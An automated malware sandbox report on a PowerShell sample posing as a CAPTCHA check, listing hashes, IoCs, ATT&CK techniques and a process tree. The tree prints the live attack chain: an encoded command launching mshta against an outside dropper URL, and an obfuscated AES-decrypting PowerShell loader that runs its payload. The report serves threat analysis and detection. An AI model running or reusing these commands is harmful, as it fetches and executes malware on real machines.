b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1

Analysis

max time kernel
117s
max time network
121s
platform
windows7_x64
resource
win7-20240729-en
resource tags

arch:x64arch:x86image:win7-20240729-enlocale:en-usos:windows7-x64system
submitted
08/08/2024, 18:30

Sharing

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Report Analysis Logs

General

Target
verify-captcha-987.b-cdn.net.ps1
Size 147B
Sample240808-w5sk1a1cmd
SHA256 b1fd8a4efda12d4ce3f7fa8adaf705dbab2b3b73434334c1fcb2306ff1d390b1
MD5 461d549b45e71d09f616ea14cf0f46d2
SHA1 eb06f635e30520fd8e764a3c6fc1216c798400c7
SHA512 ea3dc372f83d76964b01a0437febaef0b725267af8a2e72d55995e301ed5fea02d1792900e4ef7dee5068f2e41d96f7cdb12ed6932fff8637562e64fddb93b4f
MD5 SHA1 SHA512

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://microsoftcamp-c3.b-cdn.net/camp-v1

Signatures

Blocklisted process makes network request 7 IoCs

flow	pid	Process
4	2588	mshta.exe
7	2588	mshta.exe
9	2588	mshta.exe
11	2588	mshta.exe
13	2588	mshta.exe
15	1492	powershell.exe
20	1492	powershell.exe

Downloads MZ/PE file

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2088	powershell.exe
1492	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2703099537-420551529-3771253338-1000\Software\Microsoft\Internet Explorer\Main	mshta.exe

Modifies system certificate store 2 TTPs 3 IoCs

evasion spyware trojan

Install Root Certificate

T1553.004

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 0f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b0601050507030853000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c00b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f000000140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b41d00000001000000100000002e0d6875874a44c820912e85e964cfdb030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e349200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe
Set value (data)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\D1EB23A46D17D68FD92564C2F1F1601764D8E349\Blob = 1900000001000000100000002aa1c05e2ae606f198c2c5e937c97aa2030000000100000014000000d1eb23a46d17d68fd92564c2f1f1601764d8e3491d00000001000000100000002e0d6875874a44c820912e85e964cfdb140000000100000014000000a0110a233e96f107ece2af29ef82a57fd030a4b40b00000001000000180000004300b7004f00b7004d00b7004f00b7004400b7004f00000053000000010000002600000030243022060c2b06010401b231010201050130123010060a2b0601040182373c0101030200c0090000000100000034000000303206082b0601050507030106082b0601050507030206082b0601050507030406082b0601050507030306082b060105050703080f00000001000000140000003e8e6487f8fd27d322a269a71edaac5d57811286200000000100000036040000308204323082031aa003020102020101300d06092a864886f70d0101050500307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c18414141204365727469666963617465205365727669636573301e170d3034303130313030303030305a170d3238313233313233353935395a307b310b3009060355040613024742311b301906035504080c1247726561746572204d616e636865737465723110300e06035504070c0753616c666f7264311a3018060355040a0c11436f6d6f646f204341204c696d697465643121301f06035504030c1841414120436572746966696361746520536572766963657330820122300d06092a864886f70d01010105000382010f003082010a0282010100be409df46ee1ea76871c4d45448ebe46c883069dc12afe181f8ee402faf3ab5d508a16310b9a06d0c57022cd492d5463ccb66e68460b53eacb4c24c0bc724eeaf115aef4549a120ac37ab23360e2da8955f32258f3dedccfef8386a28c944f9f68f29890468427c776bfe3cc352c8b5e07646582c048b0a891f9619f762050a891c766b5eb78620356f08a1a13ea31a31ea099fd38f6f62732586f07f56bb8fb142bafb7aaccd6635f738cda0599a838a8cb17783651ace99ef4783a8dcf0fd942e2980cab2f9f0e01deef9f9949f12ddfac744d1b98b547c5e529d1f99018c7629cbe83c7267b3e8a25c7c0dd9de6356810209d8fd8ded2c3849c0d5ee82fc90203010001a381c03081bd301d0603551d0e04160414a0110a233e96f107ece2af29ef82a57fd030a4b4300e0603551d0f0101ff040403020106300f0603551d130101ff040530030101ff307b0603551d1f047430723038a036a0348632687474703a2f2f63726c2e636f6d6f646f63612e636f6d2f414141436572746966696361746553657276696365732e63726c3036a034a0328630687474703a2f2f63726c2e636f6d6f646f2e6e65742f414141436572746966696361746553657276696365732e63726c300d06092a864886f70d010105050003820101000856fc02f09be8ffa4fad67bc64480ce4fc4c5f60058cca6b6bc1449680476e8e6ee5dec020f60d68d50184f264e01e3e6b0a5eebfbc745441bffdfc12b8c74f5af48960057f60b7054af3f6f1c2bfc4b97486b62d7d6bccd2f346dd2fc6e06ac3c334032c7d96dd5ac20ea70a99c1058bab0c2ff35c3acf6c37550987de53406c58effcb6ab656e04f61bdc3ce05a15c69ed9f15948302165036cece92173ec9b03a1e037ada015188ffaba02cea72ca910132cd4e50826ab229760f8905e74d4a29a53bdf2a968e0a26ec2d76cb1a30f9ebfeb68e756f2aef2e32b383a0981b56b85d7be2ded3f1ab7b263e2f5622c82d46a004150f139839f95e93696986e	mshta.exe

Suspicious behavior: EnumeratesProcesses 3 IoCs

pid	Process
2088	powershell.exe
2696	powershell.exe
1492	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2088	powershell.exe
Token: SeDebugPrivilege	2696	powershell.exe
Token: SeDebugPrivilege	1492	powershell.exe

Suspicious use of WriteProcessMemory 9 IoCs

description	pid	Process	procid_target
PID 2088 wrote to memory of 2696	2088	powershell.exe	31
PID 2088 wrote to memory of 2696	2088	powershell.exe	31
PID 2088 wrote to memory of 2696	2088	powershell.exe	31
PID 2696 wrote to memory of 2588	2696	powershell.exe	32
PID 2696 wrote to memory of 2588	2696	powershell.exe	32
PID 2696 wrote to memory of 2588	2696	powershell.exe	32
PID 2588 wrote to memory of 1492	2588	mshta.exe	33
PID 2588 wrote to memory of 1492	2588	mshta.exe	33
PID 2588 wrote to memory of 1492	2588	mshta.exe	33

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\verify-captcha-987.b-cdn.net.ps1
1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2088
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -eC bQBzAGgAdABhACAAaAB0AHQAcABzADoALwAvAG0AaQBjAHIAbwBzAG8AZgB0AGMAYQBtAHAALQBjADMALgBiAC0AYwBkAG4ALgBuAGUAdAAvAGMAYQBtAHAALQB2ADEA
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2696
- - C:\Windows\system32\mshta.exe
    "C:\Windows\system32\mshta.exe" https://microsoftcamp-c3.b-cdn.net/camp-v1
    3⤵
    - Blocklisted process makes network request
    - Modifies Internet Explorer settings
    - Modifies system certificate store
    - Suspicious use of WriteProcessMemory
    PID:2588
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function brIUT($HjeA){return -split ($HjeA -replace '..', '0x$& ')};$TODVhRF = brIUT('BD7A2B3707B4D5A6FA04450C5974911467897FAEA635C375E61EF7F5A701362EA05A72FBED7009D99927795122F56BDB77A5C7A562CB97DD7AA6A98126D0C3DD95349835F30F3C05230430C0DA1B06762BEA3D71E28798C9BA2F77E5185B5E033FCC7326AB5E75C350E8498719A25C2CD446C6788AB4A4D29AFC35309C1D12432468945A0065100F65C114310342BF95E644A862E8C59F289D8E869948EC904A8A06AB7BCD877EF40AD48BDA41E53D670E257430C9B41D7D5BA46024B00A0E92061D4E363EC73196FAAF167EC447B53C7EC644814BEF2957F8B8DA25FED21CAAA6BCE526E15F110C22E7D24CB63CF7194D64CBF124EA15CF976417DF9A3C31F6E7F6D1D8CCC6195C1C5759C078BCEC21F1EEAD77FF7C790752A3E6F61259FD936928CC85AB8CE3C4D7F5C5C3911F2E174CA9D668BA6667CFD8552C35A49A82D37FF1802F887BE3102AFEA366E6427CAF4C00AD1D26A2A0E13891C6965C59E68BE6AD1B771007EAE5360AF9978D08345674D9362629818EE2868D79F1D161F6E045DF8E1CE495BBD8C92A3BFFFC94F280BDD27630FC034C765787C3A7394C3B4CCB8AA08B7227276E679751D805C2CFADA79F65BED7EC896FF2096B12C3192449E626BBB14B7B6792F20F020D565334CE2F9A6BB082B7156641CD6202A14786B74D551C2ADAB799E749ECD1C1E737F3C9294E5557C3665B9D47BD63DA7D157BB135E986F659A1C427850F519DCAEF577D3BCE746FA620514A5C286F439BC258BB78B2F8BD90DE2162477D01D9DC24B52215A310AB78548E959A32F0663F77CEA87BB37D0A37A31FA71DDC830BBCEF9F3316C2FFC77F6E777209B1544DD076BE18B3045673702B7B7BD251F50E7EF7B179F1D350B041D7EF374F7329D88AFCDDC3F8CD501E379C678374F52B0FDABD750FA1D09C8905FDBD67017705D890E022478F9BB030476FD95D339DE7A0F15A7DDB42F68124942D5D4486FB8BC9DDE1DE666655505E64CCA93B0C941BEC3F3BCF18754AFB267438DC5CAD4C860ECF9F25234C4B8EED6CDF6549ADCED479DC662D864BB1FE809411022D8EB6B815B883FCB91B12EAAB6FC0B6BD6560C108F4FAD4C9928D9E3B19933A86696D1467487342C9AD3D82A540A0A9DA57B998DDC6DC68EC48628034FB3EB8D2A751BD4E71564D6C5196C311F0CF29EE815190C8C98B4426C7A071721942B5077A4C5BD229C3CB7D0A1F2CE1058BF3458093B4BB3AFCEA0B4DE58511DF411FD69707FB201577A2AEC2ABC554826FD1607A5CDC60713EB9B8101FE77F08291D1A9E3966C88A29A48232CEAB5C9B6AB0EABDFC5640CBB7A15105760EA820B11DDCFB6339C87F98E0D67C8B5F66CEBCDFCDB423D2892AA2201FFFEB45A1138874A513CC6A403E80FA91647FB97DF47B73641F4180417ACB434F8905429663F3AD3CC02BB7EC8F5760A3554C5F07796EEF98D66420E4C4111AF81E26E485973D470629ED4550211C5010EA8F21888817807FBA7077101CFF1200544B8473DB4AD925D5EB83929A96D1FC5937667AB4653F867B3A228F0C730BD97983DB3BAE2349660824615BE382DDB9A6786F42826AA43A43A83EB0E42FAD3B8A6FFE05483348445AD2820E3F9EE9A7DBA888F71410BE3C06EA5EE43D1284AC88D780D1FF5AE61A5ED878A5E73545AD24752B75B054F042668AD1735BD85BE52B0AC4494CD91A14C9AC1C0ACA5DE18CBF88AAECF42D84B0A885B795DE843E77CEF65247AA617140BFC23357F1523F6A79C265A9267D13DB313CB62F90BDAAFB55F8000AED649AAE6925D1F52C5A508578E52F3D210B5EBB7489A8FCD3E6F7E60F31A97F26668424A91E50656E81F8E6DAB37AFD49EFDA7C23171D7D6DF8401B625DD00CF235FB2115DAADA9603D786DF0DDFEB60750B48C2A7E48843819382D3FACCF2C6454FEB4CBC277F2283E469A440005ADCEB43B2FC3EF86468B5DD84F05AF72A8C0581087BE2C289AAB872304A237C3754A7CECBA7EF83A712B19DB18FD57291D0692B28AFFE94FEBE59AF465F107704C6BC3331E3D612B88BCAE82A8256A6A2127FC0477CE03278BFAEAA890B624ACFA7AACAD8131B03EBEC553025E635B44DC38CA1547F6B2F66680DD5464BC1270DE1221BA59EDD09696C57FB590');$yBWZm = [System.Security.Cryptography.Aes]::Create();$yBWZm.Key = brIUT('5A504E5669636D4C584770456265426C');$yBWZm.IV = New-Object byte[] 16;$AiLfvEfU = $yBWZm.CreateDecryptor();$VKZGbTYef = $AiLfvEfU.TransformFinalBlock($TODVhRF, 0, $TODVhRF.Length);$uuGcwomEu = [System.Text.Encoding]::Utf8.GetString($VKZGbTYef);$AiLfvEfU.Dispose();& $uuGcwomEu.Substring(0,3) $uuGcwomEu.Substring(3)
      4⤵
      Blocklisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1492

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Subvert Trust Controls

T1553

Install Root Certificate

T1553.004

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

camp-v1[1]

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\40WV1DY9\camp-v1[1]
Size 207KB
SHA256 4de7b791a8a70bb57b6396c57553963320bf0e4e48be55a450e4bc0a59a79e0e
MD5 f0a82fcce76a638f3800a72f96ebdb00
SHA1 6cb602d3f4323766316d2e0811858b3392f015c4
SHA512 32fd024cd7a1a0298ca2899dcc1c911981ea7487661a85eda6bcd96cfab3cbdffd61d189191eb82f2f8d53bf90aaa4359571dbe839a26addb2c9956639638878
SSDEEP 768:lfGgTViahszDO2fGgTViahszDOefGgTViahszDO3efGgTViahszDO:F4WsOK4WsOi4WsOS4WsO
MD5 SHA1 SHA512 SSDEEP

Submit Download

Cab3297.tmp

Path C:\Users\Admin\AppData\Local\Temp\Cab3297.tmp
Size 70KB
SHA256 b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f
MD5 49aebf8cbd62d92ac215b2923fb1b9f5
SHA1 1723be06719828dda65ad804298d0431f6aff976
SHA512 bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b
SSDEEP 1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5 SHA1 SHA512 SSDEEP

Submit Download

Tar32A9.tmp

Path C:\Users\Admin\AppData\Local\Temp\Tar32A9.tmp
Size 181KB
SHA256 8efbc21559ef8b1bcf526800d8070baad42474ce7198e26fa771dbb41a76b1d8
MD5 4ea6026cf93ec6338144661bf1202cd1
SHA1 a1dec9044f750ad887935a01430bf49322fbdcb7
SHA512 6c7e0980e39aacf4c3689802353f464a08cd17753bd210ee997e5f2a455deb4f287a9ef74d84579dbde49bc96213cd2b8b247723919c412ea980aa6e6bfe218b
SSDEEP 1536:aAZw/J+lCUsTRvsqgCyqWlUDNWdm1wpSru2A0XwjY/z02DTr3rmt6mZ:as2J+qTR0XCy/dmASru2AijbdG
MD5 SHA1 SHA512 SSDEEP

Submit Download

590aee7bdd69b59b.customDestinations-ms

Path C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms
Size 7KB
SHA256 526783851b6fc8a4ed3f37fc07a16597160a6e441d40b7a8148b5e5dc6eb09a3
MD5 c344d6d6683ed633c753c5fa3c92d580
SHA1 e4e8f09e2cc2a23153c6ed019a677ab74828d1fc
SHA512 bafecc7a646c12108377f0c869070556f32ad1c8fd85d91a7ee215caf7dc94acfb44edfefa3321e8bc254fee7eb827460e75ee8fa5828d375912df106440af22
SSDEEP 96:0peCdM8inqvsqvJCwowhqpeCdM8inqvsEHyqvJCworKh95ooQHOH7CkXlUVS:UbOUowhubOAHnorKh9JPH7Ck1
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/1492-84-0x000000001B660000-0x000000001B942000-memory.dmp

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memory/1492-85-0x00000000028E0000-0x00000000028E8000-memory.dmp

Download

memory/2088-8-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

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memory/2088-9-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

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memory/2088-16-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

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memory/2088-4-0x000007FEF5BAE000-0x000007FEF5BAF000-memory.dmp

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memory/2088-6-0x00000000027D0000-0x00000000027D8000-memory.dmp

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memory/2088-5-0x000000001B640000-0x000000001B922000-memory.dmp

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memory/2696-14-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

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memory/2696-15-0x000007FEF58F0000-0x000007FEF628D000-memory.dmp

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